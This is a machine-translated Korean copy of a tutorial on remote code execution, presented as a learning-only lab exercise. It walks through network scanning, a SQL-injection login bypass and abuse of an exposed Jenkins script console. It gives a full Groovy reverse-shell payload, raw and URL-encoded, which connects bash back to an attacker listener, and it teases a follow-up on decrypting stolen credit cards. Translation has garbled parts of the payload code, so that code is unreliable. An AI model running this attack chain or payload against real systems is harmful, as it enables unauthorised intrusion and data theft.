시스템에서 원격 코드 실행 공격을 수행하는 방법
RCE(원격 코드 실행) RCE는 공격자가 권한 없이 피해자(다른 컴퓨터 사용자) 컴퓨터에 접근하여 원격으로 악성 코드를 실행할 수 있도록 하는 공격입니다.
이 데모에서는 무단 액세스 권한을 얻은 다음 일부 코드를 실행하여 전체 시스템을 다운시킬 것입니다.
참고: 이 자습서는 학습 목적으로만 제공됩니다.
전제 조건
이 문서를 따르려면 다음이 필요합니다.
열거
netdiscover를 사용하여 사용 가능한 IP를 검색하여 가상 머신 IP 주소를 확인합니다.
Netdiscover는 4개의 IP 주소를 제공했습니다.

다음으로 nmap을 사용하여 netdiscover 스캔
192.168.199.130
에서 얻은 IP 주소 중 하나를 스캔할 것입니다.sudo nmap -sC -sV -A -p- 192.168.199.130

Port 10080
에 로그인 페이지가 있으며 Firefox에서 살펴보니 Firefox에 제한된 포트 오류가 표시됩니다.
오류 우회
이제 브라우저의 주소 표시줄
about:config
, 검색 network.security.ports.banned .overriede:on
에 표시되는 오류를 우회하려고 합니다.스캔하는 동안 nmap에서 가져온 포트 번호( port
10080
)로 새 문자열을 추가합니다.
192.168.199.130:10080 페이지 새로 고침

인증 우회
이 다음 단계에서는 사용자 이름과 암호에 대한 정보가 없습니다.
SQLi
가 구조하러 왔습니다.SQL(구조적 쿼리) 인젝션
SQL 주입(SQLi)은 공격자가 응용 프로그램이 해당 데이터베이스에 수행하는 쿼리를 방해할 수 있는 웹 보안 취약점입니다. 일반적으로 공격자는 일반적으로 검색할 수 없는 데이터를 볼 수 있습니다(portswigger).
admin’ or ‘1’=’1
사용자 이름과 비밀번호 모두이 특정 공격은 현재 작업 중인 것과 같은 특정 포트를 공격할 때 작동합니다.

액세스 권한이 부여되었습니다!


웹훅 쿼리 중
웹후크는 특정 이벤트가 발생하는 즉시 한 프로그램에서 다른 프로그램으로 데이터를 보낼 수 있도록 하는 서비스입니다. 데이터를 수신하는 애플리케이션이 아니라 데이터를 전송하는 애플리케이션에서 통신이 시작되기 때문에 Webhook을 "역방향 API"라고도 합니다.
대시보드를 보면 Jenkins 서비스가 실행되고 있습니다.
Webhook 탭에서 쿼리에 대한 입력 필드 목록을 볼 수 있습니다. 헤더에서 API를 요청하려고 합니다http://127.0.0.1:8080/api/json.


결과에서 Jenkins API가 열려 있으므로 무엇이든 보낼 수 있고 실행됩니다.
웹후크를 통한 Jenkins 익스플로잇
Jenkins는 Jenkins 컨트롤러 런타임 또는 에이전트의 런타임에서 실행
arbitrary Groovy scripts
할 수 있는 Groovy 스크립트 콘솔을 제공합니다.우리는 익스플로잇을 실행하기 위해 이 콘솔을 이용할 것입니다.
Groovy 스크립트를 원격으로 실행하기 위해 HTTP POST 요청을/script/url 또는/scriptText/로 보낼 수 있습니다. 이 데모에서는 요청이/scriptText로 전송됩니다.
먼저 공격자 시스템
port 4444
에 다음과 같이 수신기를 설정합니다.nc -lvnp 4444

다음으로 페이로드를 준비합니다.
문자열 호스트="192.168.199.128"; 정수 포트=4444;
String cmd="bash"; Process p=
new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(p e.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try
{p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
이것을 인코딩하면 얻을 수 있습니다.
String%20host%3D%22192.168.199.128%22%3B%0Aint%20port%3D4444%3B%0A%0AString%20cmd%3D%22bash% 22%3B%0AProcess%20p%3D%0Anew%20ProcessBuilder%28cmd%29.redirectErrorStream%28true%29.start%28%29
%3BSocket%20s%3Dnew%20Socket%28host%2Cport%29%3BInputStream%20pi%3Dp.getInputStream%28%29%2Cp e%3Dp.getErrorStream%28%29%2C%20si%3Ds.getInputStream%28%29%3BOutputStream%20po%3Dp.getOutputStr eam%28%29%2Cso%3Ds.getOutputStream%28%29%3Bwhile%28%21s.isClosed%28%29%29%7Bwhile%28pi.available
%28%29%3E0%29so.write%28pi.read%28%29%29%3Bwhile%28pe.available%28%29%3E0%29so.write%28pe.read%2 8%29%29%3Bwhile%28si.available%28%29%3E0%29po.write%28si.read%28%29%29%3Bso.flush%28%29%3Bpo.flus h%28%29%3BThread.sleep%2850%29%3Btry%20%7Bp.exitValue%28%29%3Bbreak%3B%7Dcatch%20%28Exception
%20e%29%7B%7D%7D%3Bp.destroy%28%29%3Bs.close%28%29%3B

그런 다음 제출을 클릭하십시오.

리스닝 머신에서

Jenkins를 통해 원격으로 시스템에 액세스할 수 있었습니다.

내 청취자의 세부 정보가 가상 상자와 일치합니다.
추천
2 부
FIND THE ENCRYPTED CREDIT CARDS AND DECRYPT THEM .
Reference
이 문제에 관하여(시스템에서 원격 코드 실행 공격을 수행하는 방법), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/scofieldidehen/how-to-perform-a-remote-code-execution-attack-on-a-system-2o9j텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념
(Collection and Share based on the CC Protocol.)